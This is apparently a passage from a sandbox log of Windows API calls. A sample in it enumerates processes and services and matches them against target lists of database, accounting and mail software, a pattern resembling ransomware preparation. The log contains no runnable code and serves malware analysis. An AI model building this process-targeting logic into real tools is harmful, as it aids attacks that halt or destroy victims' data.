returned 1 [0245.837] lstrlenW (lpString="winhost.exe") returned 11 [0245.837] Process32NextW (in: hSnapshot=0x398, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0245.838] lstrlenW (lpString="spoolsv.exe") returned 11 [0245.839] Process32NextW (in: hSnapshot=0x398, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.840] lstrlenW (lpString="svchost.exe") returned 11 [0245.840] Process32NextW (in: hSnapshot=0x398, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0245.841] lstrlenW (lpString="taskhost.exe") returned 12 [0245.841] Process32NextW (in: hSnapshot=0x398, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0245.842] lstrlenW (lpString="reader_sl.exe") returned 13 [0245.842] Process32NextW (in: hSnapshot=0x398, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0245.843] CloseHandle (hObject=0x398) returned 1 [0245.843] Sleep (dwMilliseconds=0x1f4) [0246.503] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e4f0 [0246.519] EnumServicesStatusExW (in: hSCManager=0x62e4f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0246.523] GetLastError () returned 0xea [0246.523] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xe90) returned 0x42a0060 [0246.523] EnumServicesStatusExW (in: hSCManager=0x62e4f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42a0060, cbBufSize=0xe90, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42a0060, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0246.525] CloseServiceHandle (hSCObject=0x62e4f0) returned 1 [0246.525] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0246.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0246.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0246.526] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0246.526] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0246.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0246.526] lstrlenW (lpString="AudioSrv") returned 8 [0246.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0246.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0246.526] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0246.526] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0246.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0246.526] lstrlenW (lpString="BFE") returned 3 [0246.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0246.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0246.526] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0246.527] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0246.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0246.527] lstrlenW (lpString="CryptSvc") returned 8 [0246.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0246.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0246.527] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0246.527] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0246.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0246.527] lstrlenW (lpString="CscService") returned 10 [0246.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0246.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0246.527] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0246.527] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0246.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0246.528] lstrlenW (lpString="DcomLaunch") returned 10 [0246.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0246.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0246.528] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0246.528] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0246.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0246.528] lstrlenW (lpString="Dhcp") returned 4 [0246.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0246.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0246.528] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0246.528] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0246.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0246.528] lstrlenW (lpString="Dnscache") returned 8 [0246.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0246.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0246.529] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0246.529] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0246.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0246.529] lstrlenW (lpString="DPS") returned 3 [0246.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0246.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0246.529] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0246.529] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0246.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0246.529] lstrlenW (lpString="eventlog") returned 8 [0246.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0246.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0246.530] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0246.530] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0246.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0246.530] lstrlenW (lpString="EventSystem") returned 11 [0246.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0246.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0246.530] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0246.530] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0246.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0246.530] lstrlenW (lpString="gpsvc") returned 5 [0246.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0246.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0246.530] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0246.531] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0246.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0246.531] lstrlenW (lpString="iphlpsvc") returned 8 [0246.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0246.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0246.531] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0246.531] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0246.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0246.531] lstrlenW (lpString="LanmanServer") returned 12 [0246.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0246.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0246.531] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0246.531] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0246.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0246.532] lstrlenW (lpString="LanmanWorkstation") returned 17 [0246.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0246.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0246.532] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0246.532] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0246.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0246.532] lstrlenW (lpString="lmhosts") returned 7 [0246.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0246.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0246.532] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0246.532] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0246.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0246.533] lstrlenW (lpString="MMCSS") returned 5 [0246.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0246.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0246.533] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0246.533] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0246.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0246.533] lstrlenW (lpString="MpsSvc") returned 6 [0246.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0246.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0246.533] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0246.533] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0246.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0246.534] lstrlenW (lpString="NlaSvc") returned 6 [0246.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0246.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0246.534] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0246.534] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0246.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0246.534] lstrlenW (lpString="nsi") returned 3 [0246.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0246.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0246.534] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0246.534] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0246.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0246.535] lstrlenW (lpString="PcaSvc") returned 6 [0246.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0246.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0246.535] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0246.535] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0246.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0246.535] lstrlenW (lpString="PlugPlay") returned 8 [0246.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0246.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0246.535] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0246.535] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0246.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0246.535] lstrlenW (lpString="Power") returned 5 [0246.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0246.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0246.536] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0246.536] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0246.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0246.536] lstrlenW (lpString="ProfSvc") returned 7 [0246.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0246.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0246.537] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0246.537] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0246.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0246.537] lstrlenW (lpString="RpcEptMapper") returned 12 [0246.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0246.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0246.537] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0246.537] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0246.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0246.537] lstrlenW (lpString="RpcSs") returned 5 [0246.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0246.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0246.538] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0246.538] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0246.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0246.538] lstrlenW (lpString="SamSs") returned 5 [0246.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0246.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0246.538] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0246.538] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0246.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0246.538] lstrlenW (lpString="Schedule") returned 8 [0246.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0246.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0246.539] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0246.539] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0246.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0246.539] lstrlenW (lpString="SENS") returned 4 [0246.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0246.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0246.539] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0246.539] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0246.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0246.539] lstrlenW (lpString="ShellHWDetection") returned 16 [0246.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0246.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0246.540] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0246.540] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0246.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0246.540] lstrlenW (lpString="Spooler") returned 7 [0246.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0246.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0246.540] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0246.540] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0246.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0246.540] lstrlenW (lpString="SysMain") returned 7 [0246.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0246.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0246.540] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0246.540] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0246.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0246.541] lstrlenW (lpString="Themes") returned 6 [0246.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0246.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0246.541] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0246.541] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0246.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0246.541] lstrlenW (lpString="TrkWks") returned 6 [0246.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0246.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0246.541] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0246.541] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0246.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0246.541] lstrlenW (lpString="UxSms") returned 5 [0246.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0246.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0246.542] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0246.542] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0246.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0246.542] lstrlenW (lpString="Winmgmt") returned 7 [0246.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0246.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0246.542] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0246.542] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0246.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0246.542] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42a0060 | out: hHeap=0x590000) returned 1 [0246.542] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x394 [0246.547] Process32FirstW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0246.548] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0246.549] lstrlenW (lpString="System") returned 6 [0246.549] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0246.549] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0246.549] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0246.549] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0246.549] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0246.549] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0246.549] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0246.549] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0246.551] lstrlenW (lpString="smss.exe") returned 8 [0246.551] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0246.551] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0246.551] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0246.551] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0246.551] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0246.551] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0246.551] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0246.551] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0246.553] lstrlenW (lpString="csrss.exe") returned 9 [0246.553] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0246.553] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0246.553] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0246.553] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0246.553] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0246.553] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0246.553] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0246.553] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0246.555] lstrlenW (lpString="wininit.exe") returned 11 [0246.555] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0246.555] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0246.555] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0246.555] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0246.555] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0246.555] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0246.555] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0246.555] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0246.556] lstrlenW (lpString="csrss.exe") returned 9 [0246.556] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0246.556] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0246.556] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0246.556] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0246.556] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0246.557] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0246.557] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0246.557] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0246.558] lstrlenW (lpString="winlogon.exe") returned 12 [0246.558] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0246.558] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0246.558] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0246.558] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0246.558] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0246.558] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0246.558] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0246.558] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0246.559] lstrlenW (lpString="services.exe") returned 12 [0246.559] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0246.559] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0246.559] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0246.559] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 